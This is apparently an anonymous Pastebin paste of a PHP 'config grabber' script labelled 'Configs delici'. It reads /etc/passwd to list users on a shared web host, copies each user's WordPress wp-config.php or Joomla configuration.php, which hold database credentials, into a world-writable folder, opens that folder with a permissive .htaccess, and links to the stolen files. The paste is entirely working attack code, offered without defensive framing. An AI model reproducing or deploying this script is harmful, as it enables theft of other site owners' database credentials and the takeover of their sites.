Advertisement
Guest User

Untitled

a guest
Aug 12th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1. <?php
  2. //config v2
  3. error_reporting(0);
  4. echo "<h1><center><br><a href='configs/'style='text-decoration:none;'> Configs delici</a></center><br></h1>";
  5. //$us = file_get_contents("/etc/passwd");
  6. $usa = fopen('/etc/passwd','r');
  7. $dir = mkdir('configs', 0777);
  8. $rrrr = "Options all \n DirectoryIndex configs.html \n Require None \n Satisfy Any";
  9. $frr = fopen('configs/.htaccess', 'w');
  10.  
  11. fwrite($frr, $rrrr);
  12. while($us = fgets($usa)){
  13. if($us==""){
  14. echo "cann't read /etc/passwd";
  15. }
  16. else{
  17. preg_match_all('/(.*?):x:/', $us, $user_byk);
  18.  
  19. foreach($user_byk[1] as $user){
  20. $dir1 = "/home/$user/public_html/";
  21. if(is_readable($dir1)){
  22. $dir = "/home/$user/public_html/wp-config.php";
  23. $dir2 = "/home/$user/public_html/configuration.php";
  24. $ambil = file_get_contents($dir);
  25.  
  26.  
  27. if($ambil==""){
  28. $ambil_joom = file_get_contents($dir2);
  29. if($ambil_joom==""){
  30. echo "<font color='green'>$user <= geçildi (Joomla ve wordpress)<br></font>";
  31.  
  32. }
  33. else{
  34.  
  35. $file1 = "configs/$user-configuration.txt";
  36. $fp2 = fopen($file1,"w");
  37. fputs($fp2,$ambil);
  38.  
  39. echo "<a href='configs/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
  40.  
  41. }
  42.  
  43. }
  44. else{
  45.  
  46. $file1 = "configs/$user-wpconfig.txt";
  47. $fp2 = fopen($file1,"w");
  48. fputs($fp2,$ambil);
  49.  
  50. echo "<a href='configs/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
  51.  
  52. }
  53.  
  54.  
  55. }
  56. else{
  57.  
  58.  
  59. }
  60.  
  61. }
  62.  
  63. }
  64.  
  65. }
  66. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement